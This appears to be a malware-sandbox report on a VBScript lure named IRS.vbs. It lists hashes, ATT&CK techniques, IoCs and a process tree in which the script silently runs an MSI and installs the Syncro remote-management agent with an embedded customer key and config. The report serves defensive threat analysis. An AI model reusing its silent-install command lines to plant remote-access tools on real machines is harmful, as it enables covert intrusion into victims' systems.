afd49a39871ed1ef66d138588ddeaf59b34aeedd9e1d98748804ad8c667dd05a

Analysis

max time kernel
299s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/08/2026, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IRS.vbs
Size 2KB
Sample260828-cd1mraselb
SHA256 afd49a39871ed1ef66d138588ddeaf59b34aeedd9e1d98748804ad8c667dd05a
MD5 26d802de0019ea4be59ec86dce6bf5cc
SHA1 4a5f5e3b7719d62714d3bbc79cd7b0ea43eeef7a
SHA512 d7d7a52fff7219d59de11b6855d29e680b042f702f210bd63536b6fc9c28d1b007d2707aae36b47c27754f7fa9ed5212be00795baca01b75f6bc9daf70ed1736
TLSH
T1B551A65B784AA2708975022BEB251960E7EA849F102A441CB85FC04B0F761ADD7D60EA
MD5 SHA1 SHA512 TLSH

Score

8^/10

costura discovery execution packer

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1124	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
2784	Installer.exe
1408	Syncro.Installer.exe

Loads dropped DLL 6 IoCs

pid	Process
2516	MsiExec.exe
2156	rundll32.exe
2156	rundll32.exe
2156	rundll32.exe
2156	rundll32.exe
2156	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1124	WScript.exe

Costura .NET executable packer 3 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/files/0x000d00000001c62c-58.dat	costura
behavioral2/files/0x000d00000001c630-79.dat	costura
behavioral2/memory/1408-102-0x00000295F8C20000-0x00000295F8EF6000-memory.dmp	costura

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\ja-JP\Syncro.App.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Contracts.dll.config	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Service.Configuration.dll.config	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.IO.Pipelines.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Telerik.Windows.Controls.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\fi-FI\Syncro.App.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Images\custom-logo.png	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Contracts.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Service.Models.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Security.Cryptography.Encoding.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\en\Syncro.Tools.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\fr-FR\Syncro.Tools.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Tools.dll.config	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\da-DK\Syncro.App.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\fr-FR\Syncro.Tools.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\Syncro.Service.Runner.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\de-DE\Syncro.Tools.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Mono.Cecil.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.App.Runner.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Telerik.Windows.Controls.Input.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\7za-x64.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\RepairTech.Common.Wpf.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Service.Configuration.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Net.IPNetwork.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Runtime.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\DeltaCompressionDotNet.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\FluentCommandLineParser.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\ICSharpCode.SharpZipLib.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Uninstaller.Tools.exe.config	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Buffers.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\ar-SA\Syncro.Tools.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\ja-JP\Syncro.Tools.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\nl-NL\Syncro.Tools.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Contracts.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Security.Cryptography.X509Certificates.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\config.json	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Flurl.Http.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.App.dll.config	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Service.Runner.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Telerik.Windows.Controls.ConversationalUI.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Telerik.Windows.Controls.Input.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Autofac.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Images\kabuto-logo.ico	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Phoenix.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Net.IPNetwork.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Security.AccessControl.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\cs-CZ\Syncro.Tools.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Microsoft.Bcl.AsyncInterfaces.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Microsoft.Win32.TaskScheduler.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Uninstaller.Tools.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Uninstaller.Tools.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.ValueTuple.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Telerik.Windows.Controls.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Microsoft.Extensions.Caching.Abstractions.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Microsoft.Extensions.Primitives.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.App.Runner.exe	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Service.Services.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Microsoft.Extensions.Options.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Diagnostics.DiagnosticSource.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\System.Security.Cryptography.X509Certificates.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\es-ES\Syncro.App.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\fr-FR\Syncro.App.resources.dll	Syncro.Installer.exe
File created	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\zh-CHS\Syncro.Tools.resources.dll	Syncro.Installer.exe
File opened for modification	C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\cs-CZ\Syncro.Tools.resources.dll	Syncro.Installer.exe

Drops file in Windows directory 46 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Sinks.Elasticsearch.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Numerics.Vectors.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\RepairTech.Common.Tools.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Syncro.Contracts.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DFE480FE50B904D4DC.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5ED45F06C5337530.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA659.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Elasticsearch.Net.dll	rundll32.exe
File opened for modification	C:\Windows\SystemTemp\Syncro.Installer.exe	Installer.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B7F56D3D-2AD3-4021-9D36-3B9E9C9FBE33}	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Destructurama.Attributed.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Flurl.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Flurl.Http.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\JetBrains.Annotations.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Diagnostics.DiagnosticSource.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Diagnostics.EventLog.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\CSharpFunctionalExtensions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Splat.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Runtime.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Interop.NetFwTypeLib.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DF977FA445FDDA92ED.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Sinks.Console.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Sinks.File.dll	rundll32.exe
File created	C:\Windows\Installer\e59a474.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Formatting.Elasticsearch.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Sinks.PeriodicBatching.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIA648.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Memory.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Runtime.CompilerServices.Unsafe.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\WixToolset.Dtf.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\SystemTemp\Syncro.Installer.exe	Installer.exe
File created	C:\Windows\SystemTemp\~DFA20E97943164F146.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59a474.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\WiX.CustomActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\Serilog.Formatting.Compact.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Buffers.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.Security.Principal.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.ServiceProcess.ServiceController.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\System.ValueTuple.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\SFXCA6E016F95C8483DD96697ED8B6D314D91\UrlCombineLib.dll	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Installer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Installer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Installer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Syncro.Installer.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	Installer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Installer.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3716	msiexec.exe
3716	msiexec.exe
1408	Syncro.Installer.exe
1408	Syncro.Installer.exe
1408	Syncro.Installer.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2544	msiexec.exe
Token: SeSecurityPrivilege	3716	msiexec.exe
Token: SeCreateTokenPrivilege	2544	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2544	msiexec.exe
Token: SeLockMemoryPrivilege	2544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2544	msiexec.exe
Token: SeMachineAccountPrivilege	2544	msiexec.exe
Token: SeTcbPrivilege	2544	msiexec.exe
Token: SeSecurityPrivilege	2544	msiexec.exe
Token: SeTakeOwnershipPrivilege	2544	msiexec.exe
Token: SeLoadDriverPrivilege	2544	msiexec.exe
Token: SeSystemProfilePrivilege	2544	msiexec.exe
Token: SeSystemtimePrivilege	2544	msiexec.exe
Token: SeProfSingleProcessPrivilege	2544	msiexec.exe
Token: SeIncBasePriorityPrivilege	2544	msiexec.exe
Token: SeCreatePagefilePrivilege	2544	msiexec.exe
Token: SeCreatePermanentPrivilege	2544	msiexec.exe
Token: SeBackupPrivilege	2544	msiexec.exe
Token: SeRestorePrivilege	2544	msiexec.exe
Token: SeShutdownPrivilege	2544	msiexec.exe
Token: SeDebugPrivilege	2544	msiexec.exe
Token: SeAuditPrivilege	2544	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2544	msiexec.exe
Token: SeChangeNotifyPrivilege	2544	msiexec.exe
Token: SeRemoteShutdownPrivilege	2544	msiexec.exe
Token: SeUndockPrivilege	2544	msiexec.exe
Token: SeSyncAgentPrivilege	2544	msiexec.exe
Token: SeEnableDelegationPrivilege	2544	msiexec.exe
Token: SeManageVolumePrivilege	2544	msiexec.exe
Token: SeImpersonatePrivilege	2544	msiexec.exe
Token: SeCreateGlobalPrivilege	2544	msiexec.exe
Token: SeRestorePrivilege	3716	msiexec.exe
Token: SeTakeOwnershipPrivilege	3716	msiexec.exe
Token: SeRestorePrivilege	3716	msiexec.exe
Token: SeTakeOwnershipPrivilege	3716	msiexec.exe
Token: SeRestorePrivilege	3716	msiexec.exe
Token: SeTakeOwnershipPrivilege	3716	msiexec.exe
Token: SeDebugPrivilege	1408	Syncro.Installer.exe
Token: SeRestorePrivilege	3716	msiexec.exe
Token: SeTakeOwnershipPrivilege	3716	msiexec.exe
Token: SeRestorePrivilege	3716	msiexec.exe
Token: SeTakeOwnershipPrivilege	3716	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2544	msiexec.exe
3716	msiexec.exe
2516	MsiExec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 2544	1124	WScript.exe	88
PID 3716 wrote to memory of 2516	3716	msiexec.exe	90
PID 2516 wrote to memory of 2156	2516	MsiExec.exe	91
PID 3716 wrote to memory of 2784	3716	msiexec.exe	92
PID 2784 wrote to memory of 1408	2784	Installer.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IRS.vbs"
1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Music\component.msi" /qn
  2⤵
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2544

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0B57801919F443ABC44AF05050466ECB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIA659.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240756562 2 WiX.CustomActions!WiX.CustomActions.CustomActions.ReadConfigJson
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2156
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --msi --key "XeABPrsbWjWbu6oqgf4-WQ" --customerid "1890608" --policyid "" --folderid "5154549" --config-json "ewogICJBdXRoVXJsIjogImh0dHBzOi8vYWRtaW4uc3luY3JvYXBpLmNvbSIsCiAgIkthYnV0b1VybCI6ICJodHRwczovL3JtbS5zeW5jcm9tc3AuY29tIiwKICAiU3luY3JvVXJscyI6IFsKICAgICJodHRwczovL3tzdWJkb21haW59LnN5bmNyb2FwaS5jb20iLAogICAgImh0dHBzOi8ve3N1YmRvbWFpbn0uc3luY3JvbXNwLmNvbSJdLAogICJMb2dEdW1wZXJVcmwiOiAiaHR0cHM6Ly9sZC5hdXJlbGl1cy5ob3N0IiwKICAiVXBkYXRlVXJsIjogImh0dHBzOi8vcHJvZHVjdGlvbi5rYWJ1dG9zZXJ2aWNlcy5jb20vc3luY3JvL21haW4vdXBkYXRlcy8iLAogICJPdmVybWluZFVwZGF0ZVVybCI6ICJodHRwczovL3Byb2R1Y3Rpb24ua2FidXRvc2VydmljZXMuY29tL3N5bmNyby9vdmVybWluZC91cGRhdGVzLyIsCiAgIkNob2NvbGF0ZXlJbnN0YWxsZXJVcmwiOiAiaHR0cHM6Ly9wcm9kdWN0aW9uLmthYnV0b3NlcnZpY2VzLmNvbS9jaG9jby9rYWJ1dG9fcGF0Y2hfbWFuYWdlciIsCiAgIldlYlNvY2tldFVybCI6ICJ3c3M6Ly9yZWFsdGltZS5rYWJ1dG9zZXJ2aWNlcy5jb20vc29ja2V0IiwKICAiQ2hhdFVybCI6ICJ3c3M6Ly9jaGF0LWNoYXQuc3luY3JvbXNwLmNvbS9zb2NrZXQiLAogICJfIjogIiIKfQo=" --jwt-payload ""
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\SystemTemp\Syncro.Installer.exe
    "C:\Windows\SystemTemp\Syncro.Installer.exe" --msi --key "XeABPrsbWjWbu6oqgf4-WQ" --folderid "5154549" --customerid "1890608" --config-json "ewogICJBdXRoVXJsIjogImh0dHBzOi8vYWRtaW4uc3luY3JvYXBpLmNvbSIsCiAgIkthYnV0b1VybCI6ICJodHRwczovL3JtbS5zeW5jcm9tc3AuY29tIiwKICAiU3luY3JvVXJscyI6IFsKICAgICJodHRwczovL3tzdWJkb21haW59LnN5bmNyb2FwaS5jb20iLAogICAgImh0dHBzOi8ve3N1YmRvbWFpbn0uc3luY3JvbXNwLmNvbSJdLAogICJMb2dEdW1wZXJVcmwiOiAiaHR0cHM6Ly9sZC5hdXJlbGl1cy5ob3N0IiwKICAiVXBkYXRlVXJsIjogImh0dHBzOi8vcHJvZHVjdGlvbi5rYWJ1dG9zZXJ2aWNlcy5jb20vc3luY3JvL21haW4vdXBkYXRlcy8iLAogICJPdmVybWluZFVwZGF0ZVVybCI6ICJodHRwczovL3Byb2R1Y3Rpb24ua2FidXRvc2VydmljZXMuY29tL3N5bmNyby9vdmVybWluZC91cGRhdGVzLyIsCiAgIkNob2NvbGF0ZXlJbnN0YWxsZXJVcmwiOiAiaHR0cHM6Ly9wcm9kdWN0aW9uLmthYnV0b3NlcnZpY2VzLmNvbS9jaG9jby9rYWJ1dG9fcGF0Y2hfbWFuYWdlciIsCiAgIldlYlNvY2tldFVybCI6ICJ3c3M6Ly9yZWFsdGltZS5rYWJ1dG9zZXJ2aWNlcy5jb20vc29ja2V0IiwKICAiQ2hhdFVybCI6ICJ3c3M6Ly9jaGF0LWNoYXQuc3luY3JvbXNwLmNvbS9zb2NrZXQiLAogICJfIjogIiIKfQo="
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Syncro.Contracts.dll.config

Path C:\Program Files\RepairTech\Syncro\app-1.0.203.18518\Syncro.Contracts.dll.config
Size 1KB
SHA256 17f012fa17e6aeca1c319083c95291a97ac26f55d0e84b8a52c4f654b2ee0f8b
MD5 2d70b7aa252cbf3d4abaf9fe30bc61f4
SHA1 ce64d727006df017dedf33f079a5f8dd5ff5673a
SHA512 20bda06ae954511f68d7722f5b3273724b39104eb20d8da8cc1cd51238b71d38ab04038983d4143d45bee9e595c2d1214a4540854755fbebfad375496f603006
TLSH
T11E21611191C4AF958F7155F23E6B6428CB6D0377298C009D70ED6E9FCF259965207077
MD5 SHA1 SHA512 TLSH

Submit Download

MasterInstaller20260828.log

Path C:\ProgramData\Syncro\logs\MasterInstaller20260828.log
Size 630B
SHA256 ed5e0386bf7561fa08de6764469fe9ee2ec80e97bc9000bf7d6471999f846d60
MD5 edb8381102b1ff04109d56ac41020000
SHA1 55124a843b1f01d4e2806f108fcb5a2ac29e3a77
